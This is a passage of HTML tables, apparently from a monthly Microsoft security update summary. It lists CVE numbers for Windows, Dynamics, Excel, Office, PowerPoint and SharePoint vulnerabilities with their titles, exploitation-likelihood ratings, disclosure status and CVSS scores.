href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50306">CVE-2026-50306</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50307">CVE-2026-50307</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49177">CVE-2026-49177</a></td><td><p>Windows TCP/IP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54999">CVE-2026-54999</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50669">CVE-2026-50669</a></td><td><p>Windows Telephony Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54124">CVE-2026-54124</a></td><td><p>Windows Terminal Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50350">CVE-2026-50350</a></td><td><p>Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50326">CVE-2026-50326</a></td><td><p>Windows Unified Consent System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49790">CVE-2026-49790</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50498">CVE-2026-50498</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58547">CVE-2026-58547</a></td><td><p>Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49794">CVE-2026-49794</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50453">CVE-2026-50453</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58528">CVE-2026-58528</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50321">CVE-2026-50321</a></td><td><p>Windows USB Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50479">CVE-2026-50479</a></td><td><p>Windows USB Hub Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49804">CVE-2026-49804</a></td><td><p>Windows USB Video Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49176">CVE-2026-49176</a></td><td><p>Windows WalletService Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49800">CVE-2026-49800</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50480">CVE-2026-50480</a></td><td><p>Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56173">CVE-2026-56173</a></td><td><p>Windows WebView Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58632">CVE-2026-58632</a></td><td><p>Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54107">CVE-2026-54107</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54986">CVE-2026-54986</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54112">CVE-2026-54112</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54114">CVE-2026-54114</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50670">CVE-2026-50670</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50688">CVE-2026-50688</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56176">CVE-2026-56176</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58628">CVE-2026-58628</a></td><td><p>Windows Wireless Network Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50509">CVE-2026-50509</a></td><td><p>Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Microsoft Dynamics vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55944">CVE-2026-55944</a></td><td><p>Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><h3>Microsoft Office vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50678">CVE-2026-50678</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54988">CVE-2026-54988</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48580">CVE-2026-48580</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50408">CVE-2026-50408</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55046">CVE-2026-55046</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55138">CVE-2026-55138</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55054">CVE-2026-55054</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55122">CVE-2026-55122</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55898">CVE-2026-55898</a></td><td><p>Microsoft Excel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50675">CVE-2026-50675</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55899">CVE-2026-55899</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55948">CVE-2026-55948</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58618">CVE-2026-58618</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47642">CVE-2026-47642</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55024">CVE-2026-55024</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55025">CVE-2026-55025</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55031">CVE-2026-55031</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55048">CVE-2026-55048</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55029">CVE-2026-55029</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55039">CVE-2026-55039</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55041">CVE-2026-55041</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55136">CVE-2026-55136</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55141">CVE-2026-55141</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55036">CVE-2026-55036</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55044">CVE-2026-55044</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55037">CVE-2026-55037</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55058">CVE-2026-55058</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55137">CVE-2026-55137</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55053">CVE-2026-55053</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55131">CVE-2026-55131</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54131">CVE-2026-54131</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55947">CVE-2026-55947</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55949">CVE-2026-55949</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56156">CVE-2026-56156</a></td><td><p>Microsoft Excel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56193">CVE-2026-56193</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55023">CVE-2026-55023</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55026">CVE-2026-55026</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55027">CVE-2026-55027</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55028">CVE-2026-55028</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55047">CVE-2026-55047</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55035">CVE-2026-55035</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55057">CVE-2026-55057</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55042">CVE-2026-55042</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55139">CVE-2026-55139</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50665">CVE-2026-50665</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56192">CVE-2026-56192</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56195">CVE-2026-56195</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55121">CVE-2026-55121</a></td><td><p>Microsoft Office Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47290">CVE-2026-47290</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50301">CVE-2026-50301</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50314">CVE-2026-50314</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50467">CVE-2026-50467</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55017">CVE-2026-55017</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55018">CVE-2026-55018</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55022">CVE-2026-55022</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55125">CVE-2026-55125</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55045">CVE-2026-55045</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55049">CVE-2026-55049</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55129">CVE-2026-55129</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55056">CVE-2026-55056</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55140">CVE-2026-55140</a></td><td><p>Microsoft Office Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55133">CVE-2026-55133</a></td><td><p>Microsoft OneNote Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55043">CVE-2026-55043</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55123">CVE-2026-55123</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55120">CVE-2026-55120</a></td><td><p>Microsoft PowerPoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55052">CVE-2026-55052</a></td><td><p>Microsoft SharePoint Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58277">CVE-2026-58277</a></td><td><p>Microsoft SharePoint Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50522">CVE-2026-50522</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58644">CVE-2026-58644</a></td><td><p>Microsoft SharePoint Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56164">CVE-2026-56164</a></td><td><p>Microsoft SharePoint Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55051">CVE-2026-55051</a></td><td><p>Microsoft SharePoint Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55040">CVE-2026-55040</a></td><td><p>Microsoft SharePoint Server Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54108">CVE-2026-54108</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55016">CVE-2026-55016</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55019">CVE-2026-55019</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55020">CVE-2026-55020</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55021">CVE-2026-55021</a></td><td><p>Microsoft SharePoint Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55030">CVE-2026-55030</a></td><td><p>Microsoft SharePoint Server Spoofing 